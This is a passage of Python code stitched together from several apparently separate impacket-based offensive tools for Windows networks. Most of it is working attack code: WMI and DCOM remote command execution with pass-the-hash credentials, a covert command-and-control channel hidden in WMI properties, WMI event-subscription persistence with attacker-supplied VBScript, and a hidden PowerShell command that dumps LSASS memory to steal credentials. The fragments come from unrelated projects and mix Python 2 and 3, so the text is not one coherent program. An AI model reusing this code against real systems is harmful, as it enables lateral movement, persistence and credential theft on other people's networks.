resp['pVarResult']['_varUnion']['pdispVal']['abData'])) pExecuteShellCommand = iActiveView.GetIDsOfNames( ('ExecuteShellCommand', ))[0] pQuit = iMMC.GetIDsOfNames(('Quit', ))[0] self.__quit = (iMMC, pQuit) self.__executeShellCommand = (iActiveView, pExecuteShellCommand) except Exception as e: self.exit() logging.error(str(e)) dcom.disconnect()
class WMIEXEC(): def __init__(self, logger, host, args, smb_con, share_name=''): self.outfile = gen_random_string() self.debug = args.debug self.logger = logger self.host = host self.domain = args.domain self.username = args.user self.password = args.passwd self.hash = args.hash self.lmhash = '' self.nthash = '' self.pwd = str('C:\\') self.shell = 'cmd.exe /Q /c ' self.noOutput = args.no_output self.outputBuffer = '' self.timeout = args.timeout self.smbcon = smb_con self.fileless_output = False if share_name: # Fileless output self.fileless_output = True self.ip = get_local_ip() self.share = share_name self.path = "\\" else: # Filed or Remote output self.ip = args.exec_ip self.share = args.exec_share self.path = args.exec_path if self.hash: try: self.lmhash, self.nthash = self.hash.split(':') except: self.nthash = self.hash def create_wmi_con(self): self.dcom = DCOMConnection(self.host, self.username, self.password, self.domain, self.lmhash, self.nthash) iInterface = self.dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin( '\\\\{}\\root\\cimv2'.format(self.host), NULL, NULL) iWbemLevel1Login.RemRelease() self.win32Process, _ = iWbemServices.GetObject('Win32_Process') def execute(self, command): self.create_wmi_con() self.logger.debug("WMIExec: DCOM connection created") # Init New Command self.__outputBuffer = '' if self.noOutput: cmd = self.shell + command else: cmd = self.shell + command + " 1> \\\\{}\\{}{} 2>&1".format( self.ip, self.share, self.path + self.outfile) self.logger.debug("WMIexec: {}".format(cmd)) self.win32Process.Create(cmd, self.pwd, None) self.logger.debug("Win32 Process Created") # Get output if self.noOutput: self.__outputBuffer = "Command executed with no output" elif self.fileless_output: self.get_output_fileless() else: self.get_output() self.logger.debug("Disconnecting win32 process") self.dcom.disconnect() return self.__outputBuffer def get_output(self, CODEC='UTF-8'): def output_callback(data): try: self.__outputBuffer += data.decode(CODEC) except UnicodeDecodeError: self.__outputBuffer += data.decode(CODEC, errors='replace') while True: try: self.smbcon.con.getFile(self.share, "{}{}".format(self.path, self.outfile), output_callback) break except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >= 0: # Output not finished, let's wait sleep(1) elif str(e).find('Broken') >= 0: # The SMB Connection might have timed out, let's try reconnecting self.logger.debug( 'Connection broken, trying to recreate it') self.smbcon.con.reconnect() return self.get_output() # Cleanup, delete tmp outfile self.smbcon.con.deleteFile( self.share, "{}{}".format(self.path.replace('\\', '/'), self.outfile)) def get_output_fileless(self): def output_callback_fileless(data): self.__outputBuffer += data while True: try: with open(os.path.join('/tmp', '.ar3', self.outfile), 'r') as output: output_callback_fileless(output.read()) break except IOError: sleep(2)
def run(self): logging.debug("Creating DCOM connection") lmhash = '' nthash = '' if self["Hash"]: if self["Hash"].find(":") > -1: lmhash, nthash = self["Hash"].split(":") else: nthash = self["Hash"] dcom = DCOMConnection( self["Host"], self["Username"], self["Password"], self["Domain"], lmhash, nthash, #self.aesKey, oxidResolver=False, #doKerberos=self.doKerberos ) logging.debug("Creating new iWbemServices instance") iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() while True: try: records = self.read(iWbemServices) #self.write(iWbemServices, records) DebugFilePathValue = list( filter(lambda r: r[0] == "DebugFilePath", records[0].items()))[0][1]["value"] if DebugFilePathValue != "%SystemRoot%\\MEMORY.DMP": GUID, op, creator, data = DebugFilePathValue.split(":") if creator == "client": if op == "kex": pub_key = self.dispatch_event( events.KEX, (GUID, self["Host"], b64decode(data))) self.write( iWbemServices, records, payload= f"{GUID}:kex:server:{b64encode(pub_key.encode()).decode()}" ) elif op == "stage": stage_file = self.dispatch_event( events.ENCRYPT_STAGE, (self["Comms"], GUID, self["Host"])) if stage_file: self.dispatch_event( events.SESSION_STAGED, f'Sending stage ({sys.getsizeof(stage_file)} bytes) -> {self["Host"]} ...' ) self.write( iWbemServices, records, payload= f"{GUID}:stage:server:{b64encode(stage_file)}" ) elif op == "jobs": job = self.dispatch_event(events.SESSION_CHECKIN, (GUID, self["Host"])) if job: self.write( iWbemServices, records, payload= f"{GUID}:jobs:server:{b64encode(job).decode()}" ) elif op.startswith("job_results"): _, job_id = op.split("|") print(data) self.dispatch_event( events.JOB_RESULT, (GUID, job_id, b64decode(data))) self.write(iWbemServices, records) except Exception as e: print("Error") print(e) sleep(int(self["CheckInterval"]))
def run(self, addr): dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, options.aesKey, oxidResolver=False, doKerberos=options.k, kdcHost=options.dc_ip) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/subscription', NULL, NULL) iWbemLevel1Login.RemRelease() if self.__options.action.upper() == 'REMOVE': self.checkError('Removing ActiveScriptEventConsumer %s' % self.__options.name, iWbemServices.DeleteInstance('ActiveScriptEventConsumer.Name="%s"' % self.__options.name)) self.checkError('Removing EventFilter EF_%s' % self.__options.name, iWbemServices.DeleteInstance('__EventFilter.Name="EF_%s"' % self.__options.name)) self.checkError('Removing IntervalTimerInstruction TI_%s' % self.__options.name, iWbemServices.DeleteInstance( '__IntervalTimerInstruction.TimerId="TI_%s"' % self.__options.name)) self.checkError('Removing FilterToConsumerBinding %s' % self.__options.name, iWbemServices.DeleteInstance( r'__FilterToConsumerBinding.Consumer="ActiveScriptEventConsumer.Name=\"%s\"",' r'Filter="__EventFilter.Name=\"EF_%s\""' % ( self.__options.name, self.__options.name))) else: activeScript ,_ = iWbemServices.GetObject('ActiveScriptEventConsumer') activeScript = activeScript.SpawnInstance() activeScript.Name = self.__options.name activeScript.ScriptingEngine = 'VBScript' activeScript.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] activeScript.ScriptText = options.vbs.read() self.checkError('Adding ActiveScriptEventConsumer %s'% self.__options.name, iWbemServices.PutInstance(activeScript.marshalMe())) if options.filter is not None: eventFilter,_ = iWbemServices.GetObject('__EventFilter') eventFilter = eventFilter.SpawnInstance() eventFilter.Name = 'EF_%s' % self.__options.name eventFilter.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] eventFilter.Query = options.filter eventFilter.QueryLanguage = 'WQL' eventFilter.EventNamespace = r'root\cimv2' self.checkError('Adding EventFilter EF_%s'% self.__options.name, iWbemServices.PutInstance(eventFilter.marshalMe())) else: wmiTimer, _ = iWbemServices.GetObject('__IntervalTimerInstruction') wmiTimer = wmiTimer.SpawnInstance() wmiTimer.TimerId = 'TI_%s' % self.__options.name wmiTimer.IntervalBetweenEvents = int(self.__options.timer) #wmiTimer.SkipIfPassed = False self.checkError('Adding IntervalTimerInstruction', iWbemServices.PutInstance(wmiTimer.marshalMe())) eventFilter,_ = iWbemServices.GetObject('__EventFilter') eventFilter = eventFilter.SpawnInstance() eventFilter.Name = 'EF_%s' % self.__options.name eventFilter.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] eventFilter.Query = 'select * from __TimerEvent where TimerID = "TI_%s" ' % self.__options.name eventFilter.QueryLanguage = 'WQL' eventFilter.EventNamespace = r'root\subscription' self.checkError('Adding EventFilter EF_%s'% self.__options.name, iWbemServices.PutInstance(eventFilter.marshalMe())) filterBinding,_ = iWbemServices.GetObject('__FilterToConsumerBinding') filterBinding = filterBinding.SpawnInstance() filterBinding.Filter = '__EventFilter.Name="EF_%s"' % self.__options.name filterBinding.Consumer = 'ActiveScriptEventConsumer.Name="%s"' % self.__options.name filterBinding.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] self.checkError('Adding FilterToConsumerBinding', iWbemServices.PutInstance(filterBinding.marshalMe())) dcom.disconnect()
class Wmiexec: OUTPUT_FILENAME = "__" + str(time.time()) def __init__(self, ip, username, hashes, password="", domain="", share="ADMIN$", secrets_dir=None): self.__ip = ip self.__username = username self.__password = password self.__domain = domain self.__lmhash, self.__nthash = hashes.split(":") self.__share = share self.__secrets_dir = secrets_dir self.shell = None def connect(self): self.smbConnection = SMBConnection(self.__ip, self.__ip) self.smbConnection.login( user=self.__username, password=self.__password, domain=self.__domain, lmhash=self.__lmhash, nthash=self.__nthash, ) self.dcom = DCOMConnection( target=self.__ip, username=self.__username, password=self.__password, domain=self.__domain, lmhash=self.__lmhash, nthash=self.__nthash, oxidResolver=True, ) try: iInterface = self.dcom.CoCreateInstanceEx( wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) self.iWbemServices = iWbemLevel1Login.NTLMLogin( "//./root/cimv2", NULL, NULL) iWbemLevel1Login.RemRelease() except (Exception, KeyboardInterrupt) as e: LOG.error(str(e)) self.smbConnection.logoff() self.dcom.disconnect() def get_remote_shell(self): self.connect() win32Process, _ = self.iWbemServices.GetObject("Win32_Process") self.shell = RemoteShell(self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME, self.__secrets_dir) return self.shell def close(self): self.smbConnection.close() self.smbConnection = None self.dcom.disconnect() self.dcom = None
class WMIQUERY: def __init__(self, logger, connection, wmi_namespace): self.__logger = logger self.__addr = connection.host self.__username = connection.username self.__password = connection.password self.__hash = connection.hash self.__domain = connection.domain self.__namespace = wmi_namespace self.__iWbemServices = None self.__doKerberos = False self.__aesKey = None self.__oxidResolver = True self.__lmhash = '' self.__nthash = '' if self.__hash is not None: self.__lmhash, self.__nthash = self.__hash.split(':') if self.__password is None: self.__password = '' self.__dcom = DCOMConnection(self.__addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, self.__oxidResolver, self.__doKerberos) try: iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) self.__iWbemServices= iWbemLevel1Login.NTLMLogin(self.__namespace, NULL, NULL) iWbemLevel1Login.RemRelease() except Exception as e: self.__logger.error(e) def query(self, query): query = query.strip('\n') if query[-1:] == ';': query = query[:-1] if self.__iWbemServices: iEnumWbemClassObject = self.__iWbemServices.ExecQuery(query.strip('\n')) self.__logger.success('Executed specified WMI query') self.printReply(iEnumWbemClassObject) iEnumWbemClassObject.RemRelease() self.__iWbemServices.RemRelease() self.__dcom.disconnect() def describe(self, sClass): sClass = sClass.strip('\n') if sClass[-1:] == ';': sClass = sClass[:-1] try: iObject, _ = self.iWbemServices.GetObject(sClass) iObject.printInformation() iObject.RemRelease() except Exception as e: traceback.print_exc() def printReply(self, iEnum): printHeader = True while True: try: pEnum = iEnum.Next(0xffffffff,1)[0] record = pEnum.getProperties() line = [] for rec in record: line.append('{}: {}'.format(rec, record[rec]['value'])) self.__logger.highlight(' | '.join(line)) except Exception, e: #import traceback #print traceback.print_exc() if str(e).find('S_FALSE') < 0: raise else: break iEnum.RemRelease()
def tes_activation(self): dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLoginClientID) dcom.disconnect()
class RPCRequester(): def __init__(self, target_computer, domain=str(), user=(), password=str(), lmhash=str(), nthash=str()): self._target_computer = target_computer self._domain = domain self._user = user self._password = password self._lmhash = lmhash self._nthash = nthash self._pipe = None self._rpc_connection = None self._dcom = None self._wmi_connection = None def _create_rpc_connection(self, pipe): # Here we build the DCE/RPC connection self._pipe = pipe binding_strings = dict() binding_strings['srvsvc'] = srvs.MSRPC_UUID_SRVS binding_strings['wkssvc'] = wkst.MSRPC_UUID_WKST binding_strings['samr'] = samr.MSRPC_UUID_SAMR binding_strings['svcctl'] = scmr.MSRPC_UUID_SCMR binding_strings['drsuapi'] = drsuapi.MSRPC_UUID_DRSUAPI # TODO: try to fallback to TCP/139 if tcp/445 is closed if self._pipe == r'\drsuapi': string_binding = epm.hept_map(self._target_computer, drsuapi.MSRPC_UUID_DRSUAPI, protocol='ncacn_ip_tcp') rpctransport = transport.DCERPCTransportFactory(string_binding) rpctransport.set_credentials(username=self._user, password=self._password, domain=self._domain, lmhash=self._lmhash, nthash=self._nthash) else: rpctransport = transport.SMBTransport(self._target_computer, 445, self._pipe, username=self._user, password=self._password, domain=self._domain, lmhash=self._lmhash, nthash=self._nthash) rpctransport.set_connect_timeout(10) dce = rpctransport.get_dce_rpc() if self._pipe == r'\drsuapi': dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) dce.connect() dce.bind(binding_strings[self._pipe[1:]]) self._rpc_connection = dce def _create_wmi_connection(self): self._dcom = DCOMConnection(self._target_computer, self._user, self._password, self._domain, self._lmhash, self._nthash) i_interface = self._dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) i_wbem_level1_login = wmi.IWbemLevel1Login(i_interface) self._wmi_connection = i_wbem_level1_login.NTLMLogin( '\\\\{}\\root\\cimv2'.format(self._target_computer), NULL, NULL) @staticmethod def _rpc_connection_init(pipe=r'\srvsvc'): def decorator(f): def wrapper(*args, **kwargs): instance = args[0] if (not instance._rpc_connection) or (pipe != instance._pipe): if instance._rpc_connection: instance._rpc_connection.disconnect() instance._create_rpc_connection(pipe=pipe) return f(*args, **kwargs) return wrapper return decorator @staticmethod def _wmi_connection_init(): def decorator(f): def wrapper(*args, **kwargs): instance = args[0] if not instance._wmi_connection: instance._create_wmi_connection() return f(*args, **kwargs) return wrapper return decorator def __enter__(self): # Picked because it's the most used by the net* functions self._create_rpc_connection(r'\srvsvc') return self def __exit__(self, type, value, traceback): try: self._rpc_connection.disconnect() except AttributeError: pass self._rpc_connection = None
class WmiCon(Connector): def __init__(self, args, loggers, ip, host): Connector.__init__(self, args, loggers, ip) self.display_ip = ip self.display_host = host self._debug = False self.dcom = None self.wmi_con = None self.process_list = {} def create_wmi_con(self, namespace='root\\cimv2'): self.dcom = DCOMConnection(self.host, self.username, self.password, self.domain, self.lmhash, self.nthash) iInterface = self.dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) self.wmi_con = iWbemLevel1Login.NTLMLogin( '\\\\{}\\{}'.format(self.host, namespace), NULL, NULL) def get_netprocess(self, tasklist=False): self.create_wmi_con() wmi_enum_process = self.wmi_con.ExecQuery( 'SELECT * from Win32_Process', lFlags=WBEM_FLAG_FORWARD_ONLY) while True: try: wmi_process = wmi_enum_process.Next(0xffffffff, 1)[0] wmi_process_owner = wmi_process.GetOwner() attributes = { 'computername': self.host, 'processname': wmi_process.Name, 'processid': wmi_process.ProcessId, 'user': wmi_process_owner.User, 'domain': wmi_process_owner.Domain } # Dont wait until end to print if tasklist: self.logger.info([ self.display_host, self.display_ip, "TASKLIST", "PID: {:<6} Name: {:<20} User: {:<17} Host: {:<15} Domain: {}" .format(attributes['processid'], attributes['processname'], attributes['user'], attributes['computername'], attributes['domain']) ]) self.process_list[wmi_process.ProcessId] = attributes except Exception as e: if str(e).find('S_FALSE') < 0: self.logger.debug("Get-NetProcess: {}".format(str(e))) else: break self.disconnect() def get_netlocalgroups(self): self.create_wmi_con('root\\cimv2') query = 'Select Name from win32_group' wmi_query = self.wmi_con.ExecQuery(query, lFlags=WBEM_FLAG_FORWARD_ONLY) while True: try: wmi_results = wmi_query.Next(0xffffffff, 1)[0] wmi_results = wmi_results.getProperties() for key, value in wmi_results.items(): self.logger.info([ self.display_host, self.display_ip, "LOCAL GROUPS", value['value'] ]) except Exception as e: if str(e).find('S_FALSE') < 0: self.logger.debug([ self.display_host, self.display_ip, "LOCAL GROUPS", str(e) ]) else: break self.disconnect() def get_localgroup_members(self, domain, group): self.create_wmi_con('root\\cimv2') query = "SELECT PartComponent FROM Win32_GroupUser WHERE GroupComponent=\"Win32_Group.Domain='{}',Name='{}'\"".format( domain, group) wmi_query = self.wmi_con.ExecQuery(query, lFlags=WBEM_FLAG_FORWARD_ONLY) while True: try: wmi_results = wmi_query.Next(0xffffffff, 1)[0] wmi_results = wmi_results.getProperties() for key, value in wmi_results.items(): member = self.parse_local_members(value['value']) self.logger.info([ self.display_host, self.display_ip, "LOCAL MEMBERS", "{:<30} {}".format(group.title(), member) ]) except Exception as e: if str(e).find('S_FALSE') < 0: self.logger.debug([ self.display_host, self.display_ip, "LOCAL MEMBERS", str(e) ]) else: break self.disconnect() def parse_local_members(self, line): # Parse domain\account_name from wmi output query try: data = line.split('.')[1] domain, account = data.split(',') return "{}\\{}".format( domain.split("=")[1].strip("\""), account.split("=")[1].strip("\"")) except: return line def wmi_query(self, namespace, query, name="WMI QUERY"): self.create_wmi_con(namespace) wmi_query = self.wmi_con.ExecQuery(query, lFlags=WBEM_FLAG_FORWARD_ONLY) while True: try: wmi_results = wmi_query.Next(0xffffffff, 1)[0] wmi_results = wmi_results.getProperties() for k, v in wmi_results.items(): self.logger.info([ self.display_host, self.display_ip, name, "{:<30} {}".format(k, v['value']) ]) except Exception as e: if str(e).find('S_FALSE') < 0: self.logger.debug("WMIQuery: {}".format(str(e))) else: break self.disconnect() def disconnect(self): self.dcom.disconnect()
def run(self, addr): if self.__noOutput is False: smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: dispParams = DISPPARAMS(None, False) dispParams['rgvarg'] = NULL dispParams['rgdispidNamedArgs'] = NULL dispParams['cArgs'] = 0 dispParams['cNamedArgs'] = 0 if self.__dcomObject == 'ShellWindows': # ShellWindows CLSID (Windows 7, Windows 10, Windows Server 2012R2) iInterface = dcom.CoCreateInstanceEx( string_to_bin('9BA05972-F6A8-11CF-A442-00A0C90A8F39'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Item', )) resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_METHOD, dispParams, 0, [], []) iItem = IDispatch( self.getInterface( iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) resp = iItem.GetIDsOfNames(('Document', )) resp = iItem.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) pQuit = None elif self.__dcomObject == 'ShellBrowserWindow': # ShellBrowserWindow CLSID (Windows 10, Windows Server 2012R2) iInterface = dcom.CoCreateInstanceEx( string_to_bin('C08AFD90-F2A1-11D1-8455-00A0C91F3880'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Document', )) resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) pQuit = iMMC.GetIDsOfNames(('Quit', ))[0] elif self.__dcomObject == 'MMC20': iInterface = dcom.CoCreateInstanceEx( string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Document', )) resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) pQuit = iMMC.GetIDsOfNames(('Quit', ))[0] else: logging.fatal('Invalid object %s' % self.__dcomObject) return iDocument = IDispatch( self.getInterface( iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) if self.__dcomObject == 'MMC20': resp = iDocument.GetIDsOfNames(('ActiveView', )) resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) iActiveView = IDispatch( self.getInterface( iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) pExecuteShellCommand = iActiveView.GetIDsOfNames( ('ExecuteShellCommand', ))[0] self.shell = RemoteShellMMC20( self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection) else: resp = iDocument.GetIDsOfNames(('Application', )) resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) iActiveView = IDispatch( self.getInterface( iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) pExecuteShellCommand = iActiveView.GetIDsOfNames( ('ShellExecute', ))[0] self.shell = RemoteShell(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection) if self.shell is not None: self.shell.do_exit('') except (Exception, KeyboardInterrupt) as e: #hit's here if an ADMIN is not logged in, but everything else is right: ERROR:root:RPC_E_DISCONNECTED - The object invoked has disconnected from its clients. if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() if self.shell is not None: self.shell.do_exit('') logging.error(str(e)) if smbConnection is not None: smbConnection.logoff() dcom.disconnect() sys.stdout.flush() if smbConnection is not None: smbConnection.logoff() dcom.disconnect()
def run(self, addr): if self.__noOutput is False: smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: dispParams = DISPPARAMS(None, False) dispParams['rgvarg'] = NULL dispParams['rgdispidNamedArgs'] = NULL dispParams['cArgs'] = 0 dispParams['cNamedArgs'] = 0 if self.__dcomObject == 'ShellWindows': # ShellWindows CLSID (Windows 7, Windows 10, Windows Server 2012R2) iInterface = dcom.CoCreateInstanceEx(string_to_bin('9BA05972-F6A8-11CF-A442-00A0C90A8F39'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Item',)) resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_METHOD, dispParams, 0, [], []) iItem = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) resp = iItem.GetIDsOfNames(('Document',)) resp = iItem.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) pQuit = None elif self.__dcomObject == 'ShellBrowserWindow': # ShellBrowserWindow CLSID (Windows 10, Windows Server 2012R2) iInterface = dcom.CoCreateInstanceEx(string_to_bin('C08AFD90-F2A1-11D1-8455-00A0C91F3880'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Document',)) resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) pQuit = iMMC.GetIDsOfNames(('Quit',))[0] elif self.__dcomObject == 'MMC20': iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Document',)) resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) pQuit = iMMC.GetIDsOfNames(('Quit',))[0] else: logging.fatal('Invalid object %s' % self.__dcomObject) return iDocument = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) if self.__dcomObject == 'MMC20': resp = iDocument.GetIDsOfNames(('ActiveView',)) resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0] self.shell = RemoteShellMMC20(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection) else: resp = iDocument.GetIDsOfNames(('Application',)) resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) pExecuteShellCommand = iActiveView.GetIDsOfNames(('ShellExecute',))[0] self.shell = RemoteShell(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection) if self.__command != ' ': self.shell.onecmd(self.__command) if self.shell is not None: self.shell.do_exit('') else: self.shell.cmdloop() except (Exception, KeyboardInterrupt), e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() if self.shell is not None: self.shell.do_exit('') logging.error(str(e)) if smbConnection is not None: smbConnection.logoff() dcom.disconnect() sys.stdout.flush() sys.exit(1)
def run(self, addr): if self.__noOutput is False: smbConnection = SMBConnection(addr, addr) smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: print("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: print("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: print("SMBv2.1 dialect used") else: print("SMBv3.0 dialect used") else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, oxidResolver = True) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process,_ = iWbemServices.GetObject('Win32_Process') try: self.shell = RemoteShell(self.__share, win32Process, smbConnection) if self.__psh != ' ': self.shell.onecmd(self.__psh) elif self.__mode != None: if self.__mode == MODE_ENUMUSER: print "Entering ENUMUSER mode" # ugly, clean it up if possible and only pull relevant fields: username, type of session self.__psh = "powershell -nop -wind hidden -noni \"$d = query session; 1..($d.count-1) | % { Write-Host '---';$d[$_].Substring(19,20).Trim();$d[$_].Substring(48,8).Trim();$d[$_].Substring(1,18).Trim();}\"" elif self.__mode == MODE_DUMPLSASS: print "Entering DUMPLSASS mode. Results will be saved to " + self.__uncpath self.__uncpath = self.__uncpath.replace("\\", "\\\\") self.__psh = "cmd.exe /c powershell -nop -wind hidden -noni \"$proc = ps lsass;$FileStream = New-Object IO.FileStream('" + self.__uncpath + "', [IO.FileMode]::Create);$Result = ((([PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting')).GetNestedType('NativeMethods', 'NonPublic')).GetMethod('MiniDumpWriteDump', ([Reflection.BindingFlags] 'NonPublic, Static'))).Invoke($null,@($proc.Handle,$proc.Id,$FileStream.SafeFileHandle,[UInt32] 2,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero));exit;\"" elif self.__mode == MODE_METERPRETER: pass elif self.__mode == MODE_PUSHAGENT: pass #print self.__username + ":" + self.__password + ":" + self.__domain # dont execute yet, validate params self.shell.onecmd(self.__psh) else: # this shouldn't be reached.. print "No powershell or mode provided!" if smbConnection is not None: smbConnection.logoff() dcom.disconnect() sys.exit(1) # self.shell.cmdloop() # - is it possible to interactive powershell prompt? except (Exception, KeyboardInterrupt), e: #import traceback #traceback.print_exc() print e if smbConnection is not None: smbConnection.logoff() dcom.disconnect() sys.stdout.flush() sys.exit(1)